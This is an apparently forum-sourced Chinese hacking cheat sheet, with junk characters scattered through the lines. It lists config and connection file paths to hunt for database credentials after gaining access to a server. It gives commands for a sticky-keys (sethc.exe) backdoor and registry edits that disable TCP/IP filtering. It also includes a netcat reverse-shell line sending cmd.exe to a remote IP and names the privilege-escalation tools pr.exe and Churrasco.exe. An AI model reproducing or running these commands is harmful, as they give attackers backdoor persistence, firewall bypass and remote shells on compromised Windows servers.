; Q9 @. k8 A6 U3 Q# C9 C: rC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
: Y8 g+ E$ ~0 ~; x, OC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
: S/ P, ~& N: q3 v+ v2 J  l3 Mc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
8 D) o7 d' v, q) e: t. \c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

3.网站相对路径:
! f& g3 n+ C" t9 e7 I2 `
/ d+ U  Y: N. x: \( j/config.php
../../config.php
9 `: k" ^' X/ k../config.php
../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
( n3 d$ e* x. |  T  I7 y../../../config.inc.php
1 |% u) a6 o4 n3 M* x/conn.php
7 r; u" Z9 d0 E  C5 u- M! t./conn.php
2 t0 b" W, n; [../../conn.php
../conn.php
../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
../conn.asp
& W; V( K  Q  y9 V4 E../../../conn.asp
/config.inc.php
; D+ I6 c; h. X+ P: `./config.inc.php
../../config.inc.php
6 g0 n3 g: C0 F. k" t+ G$ l../config.inc.php
  _' |6 U# ^) H% }) X5 n../../../config.inc.php
/config/config.php
) H7 {5 A+ t! Q% d0 E0 U../../config/config.php
, `4 |6 F# ~1 x8 \, F& Z/ U../config/config.php
  j  P1 K3 x, e- r, h1 b2 T../../../config/config.php
) [/ |/ N' }: d& j6 y" V+ Q/config/config.inc.php
./config/config.inc.php
& X* F6 c) C& r& ~0 c../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
6 D4 P2 f* F: G0 d$ O/config/conn.php
  d4 d, m7 F7 a$ Y% A" U./config/conn.php
) q, ?3 o8 J& O3 Z../../config/conn.php
, [- t- U# I- J& k' w../config/conn.php
$ f; ?7 a+ s& K* B" `( p7 M+ {9 |../../../config/conn.php
) Z2 a' {* `6 `; T/config/conn.asp
./config/conn.asp
../../config/conn.asp
) h: v; J* l3 D9 a  d+ o; x5 Y../config/conn.asp
../../../config/conn.asp
0 o- J  m- ?( R  ]/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
) ]# e. `7 D3 X# S, K3 \6 [../../../config/config.inc.php
: Q/ L3 K+ C. t+ N. h/data/config.php
../../data/config.php
, q* {+ O. [# i. r3 A. A../data/config.php
0 ^- `9 q) _5 H7 g  ?! q; O8 w../../../data/config.php
/data/config.inc.php
" s- r/ |) w- V./data/config.inc.php
- D% F: j* v& h. S$ a, u! O/ w../../data/config.inc.php
../data/config.inc.php
+ s. a3 l7 k& ?  l../../../data/config.inc.php
, V$ v9 P3 Q$ \7 y9 B+ }5 v) V/data/conn.php
./data/conn.php
3 {+ X. Y* i. {../../data/conn.php
8 }8 |& t2 q3 [8 L+ {+ u" s../data/conn.php
4 t/ c$ D; g7 y, b../../../data/conn.php
. o3 S0 v& H) ?, B, Y3 {9 X+ j/data/conn.asp
6 M4 x; y7 F! N) Q2 F./data/conn.asp
2 }# ]3 f0 i6 h../../data/conn.asp
- s; i4 x8 ?- T/ {* v! x4 P* h../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
$ N9 T( D' p" b8 c/ A, ?./data/config.inc.php
../../data/config.inc.php
: i6 ?/ c; {2 T../data/config.inc.php
# [. l- l5 ~# T) g+ c6 b+ u' {. Q../../../data/config.inc.php
/include/config.php
../../include/config.php
  h6 y: X6 S: g4 W6 @  u8 l../include/config.php
../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
1 F: |! F3 f3 U9 r: p../../../include/config.inc.php
/include/conn.php
# y" ^: a/ C: u. P+ y./include/conn.php
../../include/conn.php
../include/conn.php
4 S* q( c7 W! u0 ?../../../include/conn.php
# ^9 a3 A2 C5 V  u* E+ q& b/include/conn.asp
% _+ T- ~9 X$ g/ l5 A./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
- v( O- d! N4 Z0 l1 W/inc/config.php
; e/ m* W. C2 R1 X' O- j  m../../inc/config.php
- J& \. n2 G. m$ j( r2 h: \4 N6 C../inc/config.php
../../../inc/config.php
: u! ~  G0 y* J- E+ d5 b/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
. J8 O6 `, ~, s3 w0 L" \* Z../inc/config.inc.php
8 W( b/ j  J! i: q  {+ ]../../../inc/config.inc.php
$ h! [5 y$ I5 G, |0 H9 U/inc/conn.php
. o8 w! q/ m, k8 G2 q7 t./inc/conn.php
../../inc/conn.php
4 D7 @* u1 R7 I+ R8 [1 O& N../inc/conn.php
( W* D, @$ o. ~7 F* t: ]: {../../../inc/conn.php
/inc/conn.asp
6 o& |' |- `- |% S2 F1 Y% K( d1 O( {./inc/conn.asp
../../inc/conn.asp
& s. O0 C: J# t) X../inc/conn.asp
../../../inc/conn.asp
! K6 B8 h4 p0 W! T. g3 R" y' S/inc/config.inc.php
9 A& _7 D+ ?& U3 l./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
; D$ z) i+ B) W/index.php
" ^& {0 q% X! T8 ~./index.php
../../index.php
../index.php
../../../index.php
/index.asp
7 s0 w0 S# R3 u# S./index.asp
- i% Q1 A' x5 q6 f0 J../../index.asp
../index.asp
6 H" U7 ^: K% D6 `% b../../../index.asp
% e: V" l1 Y2 C: L- n1 s  c8 u替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

% U9 D2 k/ O6 k) j3 K　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
$ N4 n" c. I; b# W$ B( B" e
　　del c:\windows\system32\sethc.exe
. [' a  I. i' E9 q, `" A) r6 `
' h7 L$ S- E+ v( D! E1 X& q! ~　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

1 J  Z7 j( s/ Y  _　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
/ j$ s, _  }( k0 y: a! i# y
$ T" H0 m1 |1 G3 W　　attrib c:\windows\system32\sethc.exe +h +r +s
6 Q/ @0 G. F5 E
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
$ k4 t' q8 I0 h: W+ o! O! \8 IHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
* R4 q% E. p+ jregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
# d- k7 [% b3 g/ D/ u9 oregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
0 i$ C4 i* F) w0 T; e命令来导出注册表项
' J$ n( i( b" F+ q4 R. ?  [
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

3 M4 J. b- g8 \& D) {; P. y  W5 D2 v" n' {再将以上三个文件分别用
regedit -s D:\a.reg
. I, \+ T* i5 S3 wregedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
% ]. I" r# W& r$ R# v. P$ R, jcmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
8 Z5 j8 z  |+ [8 i" n2 z) J+ Y5 y"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
* H7 Z; z7 N+ L6 z3 M  x通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
. K( Y2 e9 P0 w+ a& C8 a这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功